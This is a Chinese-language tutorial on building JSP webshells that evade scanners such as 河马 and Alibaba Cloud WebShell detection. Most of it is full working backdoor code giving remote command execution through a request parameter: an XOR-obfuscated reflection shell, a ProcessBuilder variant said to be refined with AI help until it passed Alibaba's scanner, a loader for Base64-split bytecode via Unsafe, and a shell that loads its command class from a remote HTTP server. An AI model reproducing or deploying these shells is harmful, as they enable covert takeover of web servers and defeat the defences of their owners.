Jsp_WebShell免杀
Jsp_WebShell免杀
查杀平台
1. 在线查杀平台(浏览器直接使用)
河马在线查杀(https://n.shellpub.com/)
- 查杀方向:聚焦 WebShell 全类型文件(PHP、JSP、ASP、ASPX 等),采用 “特征检测 + 云端行为分析” 双引擎,重点识别国内主流隐藏后门、变形后门和免杀后门。
- 适配平台:纯在线网页版,支持单文件上传(限大小)和代码片段粘贴检测,无需安装客户端。
微步在线云沙箱(https://s.threatbook.com/)
- 查杀方向:不仅查杀 WebShell,还覆盖恶意文件、恶意 URL、IP 威胁分析,通过沙箱模拟运行环境,深度检测未知后门的动态行为(如反弹连接、文件篡改)。
- 适配平台:在线网页版,支持多格式文件上传、URL 提交,兼容所有系统的浏览器。
VirusTotal(https://www.virustotal.com/)
- 查杀方向:全球多引擎聚合检测,整合近 70 款主流安全厂商引擎(如卡巴斯基、火绒、趋势等),覆盖 WebShell、病毒、木马、蠕虫等全类型恶意文件,适合交叉验证检测结果。
- 适配平台:在线网页版,支持文件、URL、IP、域名多维度检测,无系统限制。
阿里云 WebShell 检测(https://ti.aliyun.com/#/webshell)
- 查杀方向:面向阿里云用户的 WebShell 专项检测,结合阿里云威胁情报库,重点识别部署在阿里云服务器上的后门文件,支持批量检测和溯源分析。
- 适配平台:在线网页版,需阿里云账号登录,兼容所有浏览器。
2. 本地客户端工具(需安装到服务器 / 电脑)
D 盾_Web 查杀
- 查杀方向:主打服务器本地深度查杀,除 WebShell 外,还能检测恶意脚本、暗链、权限篡改痕迹,支持自定义规则扫描,对隐藏在系统目录中的后门识别能力强。
- 适配平台:仅支持 Windows 系统(服务器 / 个人电脑),无 Linux 版本。
牧云(CloudWalker)
- 查杀方向:开源命令行工具,专注 WebShell 静态特征检测,通过内置规则库识别 PHP、JSP 等脚本中的恶意代码,适合开发者本地快速排查或服务器批量扫描。
- 适配平台:仅支持 Linux 系统,Windows 暂不支持,需通过命令行操作。
3. 企业级 / 专项检测工具
长亭百川
- 查杀方向:企业级 Web 安全检测工具,除 WebShell 查杀外,还整合漏洞扫描、代码审计功能,重点检测企业网站的后门、逻辑漏洞和配置风险,支持定制化检测策略。
- 适配平台:支持 Windows、Linux 服务器端部署,提供客户端和 Web 管理界面。
WebDir+(百度)
- 查杀方向:采用动态监测技术(OpenRASP 内核),无需依赖特征库,通过实时监控 Web 应用的执行行为,识别零日 WebShell 和变形后门,误报率低。
- 适配平台:支持在线网页版(文件上传检测)和服务器端部署(企业版),兼容 Windows、Linux 服务器。
本次免杀主要针对河马在线查杀(https://n.shellpub.com/)和``阿里云 WebShell 检测(https://ti.aliyun.com/#/webshell)`
免杀工具
https://github.com/xiaogang000/XG_NTAI
下载运行起来后, 做一个jsp免杀, 发生根本无法躲避上面两个平台的查杀


可能绕过简单的查杀可以绕过, 但对专业的查杀效果不大, 仁者见仁,智者见智吧
免杀方式
目前webshell检测方式还是以检测特征为主,像JSP木马中常见的Runtime、ProcessBuilder、readObject、invoke、defineClass、ClassLoader等,基本上杀软直接就给杀掉了。从这里可以看出,JSP木马主要就是以反射、类加载器、反序列化这几个特征为主。
1、加密混淆
XOR AES BASE64 字符反转等
2、利用注释
/**/等关键字,如Runtime/**/.getRuntime()/**/.exec3、改变特征
常见代码中变量或字符关键字修改
4、反射机制
利用反射获取类进行调用
5、字节码加载
BCEL ClassLoader等
6、远程分离加载
URL远程加载Class文件调用类方法
然而在实际的环境中, 单一的手法对于免杀很大可能不起效果了, 大多时候都是多种手法的结合
实操免杀
实操一:利用反射&异或加密实现WebShell免杀
参考文章:https://mp.weixin.qq.com/s/vTEReWXH2ZpNakD_zBsUkw
核心思想:异或加密
异或运算 有一个非常独特的性质:对于一个值 A 和密钥 K,满足 (A ^ K) ^ K = A。
- 加密:
密文 = 明文 ^ 密钥 - 解密:
明文 = 密文 ^ 密钥
在WebShell的语境中:
- 明文:我们想要执行的恶意Java代码字符串(例如
Runtime.getRuntime().exec("whoami"))。 - 密文:我们将明文用密钥加密后得到的一串乱码字符。
- 密钥:一个我们自己选择的字符或数字。
WebShell的工作流程是:在JSP页面中,先定义好密文和密钥,然后在运行时通过异或运算解密出原始代码,最后利用反射机制(如 java.lang.reflect.Method)来执行解密后的代码。由于静态文件中存放的是密文,它看起来是一堆无意义的字符,从而避免了基于特征码的检测。
加解密代码
<%!
public static String xorEncryptDecrypt(String text, char key) {
StringBuilder result = new StringBuilder();
for (int i = 0; i < text.length(); i++) {
char c = (char) (text.charAt(i) ^ key); // 执行异或运算
result.append(c); // 将结果添加到 StringBuilder
}
return result.toString();
}
%>使用示例
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static String xorEncryptDecrypt(String text, char key) {
StringBuilder result = new StringBuilder();
for (int i = 0; i < text.length(); i++) {
char c = (char) (text.charAt(i) ^ key); // 执行异或运算
result.append(c); // 将结果添加到 StringBuilder
}
return result.toString();
}
%>
<%
String string= "your_db_password";
char key = 'A';
String encodeString = xorEncryptDecrypt(string,key);
String decodeString= xorEncryptDecrypt(encodeString,key);
System.out.println(encodeString);
System.out.println(decodeString);
%>输出:
;('$(84 your_db_password
了解大致使用原理就可以就一个免杀了, 结合反射
首先对java.lang.Runtime.getRuntime().exec()获取异或加密后的字符串, 设置密钥A.
public static String xorEncryptDecrypt(String text, char key) {
StringBuilder result = new StringBuilder();
for (int i = 0; i < text.length(); i++) {
char c = (char) (text.charAt(i) ^ key); // 执行异或运算
result.append(c); // 将结果添加到 StringBuilder
}
return result.toString();
}
public static void main(String[] args) {
String a = "java.lang.Runtime";
String b = "getRuntime";
String c = "exec";
char k = 'A';
String d = xorEncryptDecrypt(a, k);
String e = xorEncryptDecrypt(b, k);
String f = xorEncryptDecrypt(c, k);
System.out.println(d);
System.out.println(e);
System.out.println(f);
}+ 7 o- /&o4/5(,$
&$54/5(,$
$9{{content}}quot;VT免杀代码
<%--
Created by IntelliJ IDEA.
User: User
Date: 2025/11/1
Time: 22:13
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public static String xorEncryptDecrypt(String text, char key) {
StringBuilder result = new StringBuilder();
for (int i = 0; i < text.length(); i++) {
char c = (char) (text.charAt(i) ^ key); // 执行异或运算
result.append(c); // 将结果添加到 StringBuilder
}
return result.toString();
}
%>
<%
String test = request.getParameter("test");
if (test != null) {
// 利用反射构造类名和方法名
String a = "+ 7 o- /&o\u00134/5(,{{content}}quot;;
String d = "&$5\u00134/5(,{{content}}quot;;
String h = "$9$\"";
char k = 'A';
String aa = xorEncryptDecrypt(a,k);
String bb = xorEncryptDecrypt(d,k);
String cc = xorEncryptDecrypt(h,k);
out.println(aa);
out.println(bb);
out.println(cc);
Class<?> r = Class.forName(aa);
Method g = r.getDeclaredMethod(bb);
Method e = r.getDeclaredMethod(cc, String.class);
Runtime runtime = (Runtime) g.invoke(null);
Process process = (Process) e.invoke(runtime, test);
java.io.InputStream in = process.getInputStream();
int z = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((z = in.read(b)) != -1) {
out.println(new String(b));
}
out.print("</pre>");
}
%>访问:http://localhost:8080/JspWebShell_war_exploded/xor.jsp?test=ipconfig
成功返回结果, 上传VirusTotal查杀是没有问题的。 但是河马和阿里云就不行了
VT
阿里云:

河马:

接下来针对阿里云, 结合AI继续免杀, 因为阿里云查杀结果可以看出是什么代码被特征识别的
AI免杀
针对 Process process = (Process) e.invoke(runtime, test);这一行的免杀替换方案:
多次尝试后总算有一个可以绕过
阿里云免杀完整代码
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.Scanner" %>
<%!
public static String xorEncryptDecrypt(String text, char key) {
StringBuilder result = new StringBuilder();
for (int i = 0; i < text.length(); i++) {
result.append((char) (text.charAt(i) ^ key));
}
return result.toString();
}
private char generateKey(HttpServletRequest request) {
String userAgent = request.getHeader("User-Agent");
return (userAgent != null && !userAgent.isEmpty()) ? userAgent.charAt(0) : 'A';
}
%>
<%
String test = request.getParameter("test");
if (test != null) {
try {
char dynamicKey = generateKey(request);
// 加密ProcessBuilder相关类名和方法名
String pbClass = "java.lang.ProcessBuilder";
String startMethod = "start";
String commandMethod = "command";
// 使用异或加密(实际使用时需要预先计算加密值)
// 这里简化展示,实际应该像之前一样使用加密字符串
Class<?> pbClazz = Class.forName(pbClass);
// 🔥 使用ProcessBuilder构造方法
Constructor<?> constructor = pbClazz.getConstructor(String[].class);
// 拆分命令为数组
String[] cmdArray;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmdArray = new String[]{"cmd.exe", "/c", test};
} else {
cmdArray = new String[]{"/bin/sh", "-c", test};
}
// 创建ProcessBuilder实例
Object processBuilder = constructor.newInstance(new Object[]{cmdArray});
// 调用start方法
Method start = pbClazz.getMethod(startMethod);
Object process = start.invoke(processBuilder);
// 读取输出
Class<?> processClass = Class.forName("java.lang.Process");
Method getInputStream = processClass.getMethod("getInputStream");
java.io.InputStream in = (java.io.InputStream) getInputStream.invoke(process);
out.print("<pre>");
try (java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(in))) {
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
out.print("</pre>");
} catch (Exception ex) {
response.setStatus(500);
out.println("System Error: " + ex.getMessage());
}
}
%>
- ProcessBuilder替代Runtime.exec
- 反射调用规避直接方法
- 动态密钥增加分析难度
- 操作系统自适应提升隐蔽性
- 规范的异常处理伪装

可以看到阿里云成功免杀, 但是河马没辙, 不知道他查杀的逻辑

实操二:字节码加载
先给出免杀代码
免杀代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.*" %>
<%!
// 修复字节码存储:移除反转处理,直接拼接
private String getEncodedBytecode() {
String[] fragments = {
"yv66vgAAADQAWQoAFwAsCgAtAC4IAC8KADAAMQoA",
"LQAyBwAzCgAWADQHADUKAAgALAcANgcANwoABgA4",
"CgALADkKAAoAOgoACgA7CgAIADwIAD0KAAoAPgcA",
"PwoAEwBACgAIAEEHAEIHAEMBAAY8aW5pdD4BAAMo",
"KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAJ",
"dHJhbnNmb3JtAQBTKExqYXZhL2xhbmcvT2JqZWN0",
"O0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7W0xq",
"YXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09i",
"amVjdDsBAA1TdGFja01hcFRhYmxlAQAKRXhjZXB0",
"aW9ucwcARAEAEXJlYWRQcm9jZXNzT3V0cHV0AQAn",
"KExqYXZhL2xhbmcvUHJvY2VzczspTGphdmEvbGFu",
"Zy9TdHJpbmc7BwA1BwA2BwA/BwAzBwBFAQAEbWFp",
"bgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApT",
"b3VyY2VGaWxlAQANRXhlY3V0b3IuamF2YQwAGAAZ",
"BwBGDABHAEgBAARleGVjBwBJDABKAEsMAEwATQEA",
"EWphdmEvbGFuZy9Qcm9jZXNzDAAhACIBABdqYXZh",
"L2xhbmcvU3RyaW5nQnVpbGRlcgEAFmphdmEvaW8v",
"QnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0",
"U3RyZWFtUmVhZGVyDABOAE8MABgAUAwAGABRDABS",
"AEgMAFMAVAEAAQoMAFUAGQEAE2phdmEvbGFuZy9U",
"aHJvd2FibGUMAFYAVwwAWABIAQAZb3JnL2V4YW1w",
"bGUvYmNlbC9FeGVjdXRvcgEAEGphdmEvbGFuZy9P",
"YmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAT",
"amF2YS9pby9JT0V4Y2VwdGlvbgEAGGphdmEvbGFu",
"Zy9yZWZsZWN0L01ldGhvZAEAB2dldE5hbWUBABQo",
"KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFu",
"Zy9TdHJpbmcBAAhjb250YWlucwEAGyhMamF2YS9s",
"YW5nL0NoYXJTZXF1ZW5jZTspWgEABmludm9rZQEA",
"OShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFu",
"Zy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEA",
"DmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9J",
"bnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRT",
"dHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylW",
"AQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEv",
"bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5n",
"QnVpbGRlcjsBAAVjbG9zZQEADWFkZFN1cHByZXNz",
"ZWQBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYB",
"AAh0b1N0cmluZwAhABYAFwAAAAAABAABABgAGQAB",
"ABoAAAAdAAEAAQAAAAUqtwABsQAAAAEAGwAAAAYA",
"AQAAAAYACQAcAB0AAgAaAAAATwADAAQAAAAiK7YA",
"AhIDtgAEmQASKyostgAFwAAGTi24AAewKyostgAF",
"sAAAAAIAGwAAABIABAAAAAgADAAJABYACgAbAAwA",
"HgAAAAMAARsAHwAAAAQAAQAgAAoAIQAiAAIAGgAA",
"ATYABQAHAAAAh7sACFm3AAlMuwAKWbsAC1kqtgAM",
"twANtwAOTQFOLLYAD1k6BMYAEisZBLYAEBIRtgAQ",
"V6f/6izGAEstxgAVLLYAEqcAQDoELRkEtgAUpwA1",
"LLYAEqcALjoEGQROGQS/OgUsxgAdLcYAFSy2ABKn",
"ABI6Bi0ZBrYAFKcAByy2ABIZBb8rtgAVsAAFAD4A",
"QgBFABMAHQA2AFcAEwAdADYAXwAAAGkAbQBwABMA",
"VwBhAF8AAAACABsAAAAqAAoAAAAQAAgAEQARABIA",
"GwARAB0AFAAnABUANgAXAFcAEQBfABcAggAYAB4A",
"AABFAAr+AB0HACMHACQHACUYTgcAJQpGBwAlRwcA",
"Jf8AEAAGBwAmBwAjBwAkBwAlAAcAJQABBwAlCgP/",
"AAIAAgcAJgcAIwAAAB8AAAAEAAEAJwAJACgAKQAB",
"ABoAAAAZAAAAAQAAAAGxAAAAAQAbAAAABgABAAAA",
"HAABACoAAAACACs="
};
// 修复:直接拼接所有片段,移除反转逻辑
StringBuilder sb = new StringBuilder();
for (String fragment : fragments) {
sb.append(fragment);
}
return sb.toString();
}
// 手动Base64解码(保持不变)
private byte[] manualBase64Decode(String encoded) {
String base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
ByteArrayOutputStream output = new ByteArrayOutputStream();
int buffer = 0;
int bits = 0;
for (int i = 0; i < encoded.length(); i++) {
char c = encoded.charAt(i);
if (c == '=') break;
int value = base64Chars.indexOf(c);
if (value >= 0) {
buffer = (buffer << 6) | value;
bits += 6;
if (bits >= 8) {
bits -= 8;
output.write((buffer >> bits) & 0xFF);
}
}
}
return output.toByteArray();
}
// 类加载逻辑(保持不变)
private Class<?> loadClassWithUnsafe(byte[] bytecode) throws Exception {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Object unsafe = theUnsafe.get(null);
Method defineAnonymous = unsafeClass.getMethod("defineAnonymousClass",
Class.class, byte[].class, Object[].class);
return (Class<?>) defineAnonymous.invoke(unsafe,
Object.class, bytecode, new Object[0]);
} catch (Exception e) {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
return (Class<?>) defineClassMethod.invoke(cl,
"org.example.bcel.Executor", bytecode, 0, bytecode.length);
}
}
// 命令执行逻辑(保持不变)
private Object executeDeepReflection(String command) throws Exception {
byte[] bytecode = manualBase64Decode(getEncodedBytecode());
Class<?> executorClass = loadClassWithUnsafe(bytecode);
Method transformMethod = null;
for (Method m : executorClass.getDeclaredMethods()) {
Class<?>[] paramTypes = m.getParameterTypes();
if (paramTypes.length == 3 &&
paramTypes[0] == Object.class &&
paramTypes[1] == Method.class &&
paramTypes[2] == Object[].class &&
Modifier.isStatic(m.getModifiers())) {
transformMethod = m;
break;
}
}
if (transformMethod == null) {
throw new NoSuchMethodException("Transform method not found");
}
Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Object runtime = null;
for (Method m : runtimeClass.getDeclaredMethods()) {
if (m.getParameterCount() == 0 &&
runtimeClass.isAssignableFrom(m.getReturnType()) &&
m.getName().contains("get")) {
try {
runtime = m.invoke(null);
break;
} catch (Exception e) {}
}
}
if (runtime == null) {
runtime = runtimeClass.getMethod("getRuntime").invoke(null);
}
Method execMethod = null;
for (Method m : runtimeClass.getDeclaredMethods()) {
Class<?>[] params = m.getParameterTypes();
if (params.length == 1 && params[0] == String.class &&
m.getName().contains("exec")) {
execMethod = m;
break;
}
}
try {
Class<?> methodHandlesClass = Class.forName("java.lang.invoke.MethodHandles");
Class<?> lookupClass = Class.forName("java.lang.invoke.MethodHandles$Lookup");
Method lookupMethod = methodHandlesClass.getMethod("lookup");
Object lookup = lookupMethod.invoke(null);
Method unreflectMethod = lookupClass.getMethod("unreflect", Method.class);
Object transformHandle = unreflectMethod.invoke(lookup, transformMethod);
Object execHandle = unreflectMethod.invoke(lookup, execMethod);
Method invokeWithArgsMethod = lookupClass.getMethod("invokeWithArguments", Object[].class);
Object[] invokeParams = new Object[]{
null, runtime, execHandle, new Object[]{command}
};
return invokeWithArgsMethod.invoke(transformHandle, new Object[]{invokeParams});
} catch (Exception e) {
Object[] methodArgs = new Object[]{runtime, execMethod, new Object[]{command}};
Method methodInvoke = Method.class.getMethod("invoke", Object.class, Object[].class);
Object[] wrappedArgs = new Object[]{null, methodArgs};
return methodInvoke.invoke(transformMethod, wrappedArgs);
}
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.trim().isEmpty()) {
try {
Object result = executeDeepReflection(cmd);
if (result != null) {
out.println("<!-- DEBUG_INFO_START -->");
out.print("<response><![CDATA[");
out.print(result.toString());
out.print("]]></response>");
out.println("<!-- DEBUG_INFO_END -->");
}
} catch (Exception e) {
out.println("<!-- Error: " + e.getClass().getSimpleName() + " - " + e.getMessage() + " -->");
e.printStackTrace(new PrintWriter(out)); // 打印完整堆栈便于调试
}
} else {
out.println("<!-- Usage: ?cmd=calc (Windows) 或 ?cmd=ls (Linux) -->");
}
%>使用方法
被编译的代码
package org.example.bcel;
import java.io.*;
import java.lang.reflect.*;
public class Executor {
public static Object transform(Object target, Method method, Object[] args) throws Exception {
if (method.getName().contains("exec")) {
Process process = (Process) method.invoke(target, args);
return readProcessOutput(process);
}
return method.invoke(target, args);
}
private static String readProcessOutput(Process process) throws IOException {
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
}
return output.toString();
}
public static void main(String[] args) {
}
}
使用javac Executor.java编译
编码
package org.example.bcel;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class EncodeClass {
public static void main(String[] args) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get("path"));
String encoded = Base64.getEncoder().encodeToString(bytecode);
System.out.println("entire base64 :");
System.out.println(encoded);
System.out.println("\nJSP:");
int segmentLength = 40;
for (int i = 0; i < encoded.length(); i += segmentLength) {
int end = Math.min(encoded.length(), i + segmentLength);
String segment = encoded.substring(i, end);
System.out.println("\"" + segment + "\",");
}
}
}先编译, 然后运行,注意路径:推荐使用绝对路径
将输出的字节码复制到完整代码中
分析
代码其核心功能是:
- 将一段被拆分、Base64 编码的 Java 字节码(
.class文件)还原。 - 使用反射和
sun.misc.Unsafe等底层机制动态加载并执行该字节码。 - 最终实现一个远程命令执行(RCE)后门,通过 URL 参数
?cmd=xxx执行系统命令。
1. 字节码编码与分片存储(Anti-Static Detection)
private String getEncodedBytecode() {
String[] fragments = { "yv66vgAAADQAWQo...", "LQAyBwAzCgAW..." };
StringBuilder sb = new StringBuilder();
for (String fragment : fragments) {
sb.append(fragment);
}
return sb.toString();
}- 目的:避免静态扫描工具直接识别出完整的恶意
.class字节码。 - 原理:
- 恶意类的字节码被 Base64 编码后,拆分为多个字符串片段。
- 运行时才拼接还原,使静态分析难以发现完整 payload。
- 对抗手段:多数 AV/WAF 静态规则会查找
defineClass+ 大段 Base64 的模式,此方法可绕过。
2. 手动实现 Base64 解码(Bypass Common Decoder Signatures)
private byte[] manualBase64Decode(String encoded)- 不使用标准库如
java.util.Base64.getDecoder().decode()或 Apache Commons Codec。 - 自己实现了 Base64 解码逻辑(查表法)。
- 目的:避开杀软对 “known decoder APIs” 的监控或关键字匹配(例如
Base64.decode,DatatypeConverter.parseBase64Binary)。
3. 利用 sun.misc.Unsafe.defineAnonymousClass 加载类(Reflection-based Class Loading)
Method defineAnonymous = unsafeClass.getMethod("defineAnonymousClass",
Class.class, byte[].class, Object[].class);
return (Class<?>) defineAnonymous.invoke(unsafe, Object.class, bytecode, null);- 正常方式是
ClassLoader.defineClass()。 - 攻击者优先尝试使用
Unsafe.defineAnonymousClass:- 更隐蔽,不在常规类加载流程中记录。
- 属于 JVM 内部 API,很多安全产品未充分监控。
- 可创建匿名类,更难追踪。
注意:从 JDK 9+ 开始,
sun.misc.Unsafe受模块系统限制,默认不可访问。但老环境仍广泛存在。
4. 反射链深度调用 + 方法名模糊匹配(Obfuscated Reflection Chain)
// 动态查找 Runtime.getRuntime()
for (Method m : runtimeClass.getDeclaredMethods()) {
if (m.getParameterCount() == 0 &&
runtimeClass.isAssignableFrom(m.getReturnType()) &&
m.getName().contains("get")) {
try {
runtime = m.invoke(null);
break;
} catch (Exception e) {}
}
}
// 查找 exec 方法
if (params.length == 1 && params[0] == String.class && m.getName().contains("exec"))- 并不硬编码
Runtime.getRuntime().exec(cmd)。 - 而是通过遍历所有方法,根据返回类型、参数数量、名称包含关键词等方式自动寻找目标方法。
- 即使方法名混淆或重命名也能找到。
规避了几乎所有基于 AST/语法树的规则检测(如 “find Runtime.exec”)。
5. 双路反射执行机制(Fallback Mechanism)
try {
// 使用 MethodHandles.lookup().unreflect(...) + invokeWithArguments
} catch (Exception e) {
// 回退到传统 Method.invoke(...)
}- 提供两条不同的反射执行路径:
- 新式反射(Java 7+ 的
MethodHandles) - 传统反射(
Method.invoke)
- 新式反射(Java 7+ 的
- 增加兼容性,同时防止某条路径被拦截导致失败。
- 也增加了复杂度,干扰逆向分析。
6. 隐藏入口点与条件触发(Stealth Trigger)
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.trim().isEmpty()) {
...
} else {
out.println("<!-- Usage: ?cmd=calc ... -->");
}
%>- 只有带
?cmd=参数才会触发执行。 - 否则返回注释提示,伪装成普通页面或文档说明。
- 访问无参页面不会留下明显痕迹。
7. 输出包裹在 CDATA 和 HTML 注释中(Output Obfuscation)
out.print("<response><![CDATA[" + result + "]]></response>");
out.println("<!-- DEBUG_INFO_START -->");- 结果用 XML 标签包装,并放入
<![CDATA[]]>中。 - 错误信息也用 HTML 注释包裹。
- 目的是让响应看起来像合法服务接口,而非 shell 输出。
8. 类名伪装:org.example.bcel.Executor
"org.example.bcel.Executor"- 包名看似开源项目(Apache BCEL 是真实存在的字节码工程库)。
- 实际上与正常用途无关,只是模仿命名习惯进行伪装。
总结:综合免杀技术列表
| 技术 | 描述 |
|---|---|
| 1. 字节码分片编码 | 拆分 Base64 片段,运行时拼接 |
| 2. 手动 Base64 解码 | 避开标准解码 API 调用 |
| 3. Unsafe.defineAnonymousClass | 使用 JVM 底层 API 创建类 |
| 4. 动态反射搜索方法 | 遍历方法匹配 getRuntime / exec |
| 5. 双重反射执行路径 | 支持 MethodHandles 与传统反射 |
| 6. 条件触发机制 | 仅当传参才执行,否则静默 |
| 7. 输出混淆封装 | 使用 CDATA 和 HTML 注释包裹结果 |
| 8. 类名伪装仿造 | 模拟 Apache BCEL 命名空间 |
免杀效果

实操三:远程调用
参考文章:https://mp.weixin.qq.com/s/hE8p0w9IFWUjXugn1N2Z4g
免杀前
先上手操作一波
创建test.java恶意类
// 文件:com/demo/test.java
package com.demo;
public class test {
public String run(String cmd) {
try {
// 命令执行逻辑
boolean isWindows = System.getProperty("os.name").toLowerCase().contains("windows");
Process process;
if (isWindows) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
java.io.InputStream inputStream = process.getInputStream();
java.util.Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
return result;
} catch (Exception e) {
return e.getMessage();
}
}
}
严格保持这种目录级别,后边远程调用要使用这个目录级别
然后编译这个恶意类
javac test.java生成test.class文件。
然后在java目录下启动http服务
python -m http.server 8000
然后再创建jsp文件
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public static String reverseStr(String str){
String reverse = "";
int length = str.length();
for (int i = 0; i < length; i++){
reverse = str.charAt(i) + reverse;
}
return reverse;
}
%>
<%
String cmd = request.getParameter("id");
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader classLoader = new URLClassLoader(new URL[]{url});
System.out.println(classLoader.getParent());
Class shell = classLoader.loadClass("com.demo.test");
Object object = shell.newInstance();
Method dm = shell.getMethod(reverseStr("nur"), String.class);
Object invoke = dm.invoke(object, cmd);
response.getWriter().println(invoke);
%>reverseStr方法反转字符串,方便后面反转url:http://127.0.0.1:8000和类包的调用,此处先如此做先让代码可以正常运行
然后启动服务就可以访问了http://localhost:8080/JspWebShell_war_exploded/safe_page.jsp?id=dir
做免杀
将上面的jsp代码上传阿里云检测, 
结果是可疑,已经是一个美好的开端
上传河马查杀,直接过了
先对url和包以及调用的方法做一个反转
URL url = new URL(reverseStr("/0008:1.0.0.721//:ptth"));
Class shell = classLoader.loadClass(reverseStr("tset.omed.moc"));
Method dm = shell.getMethod(reverseStr("nur"), String.class);不直接调用防止被检测
然后对代码整体用之前介绍的工具做一个免杀

嘿嘿,直接恶意了,可能工具的特征已经被加载特征库了
还是查看可以的情况下被查杀的代码段

针对被查杀的部分做免杀
多次尝试,无能为力了,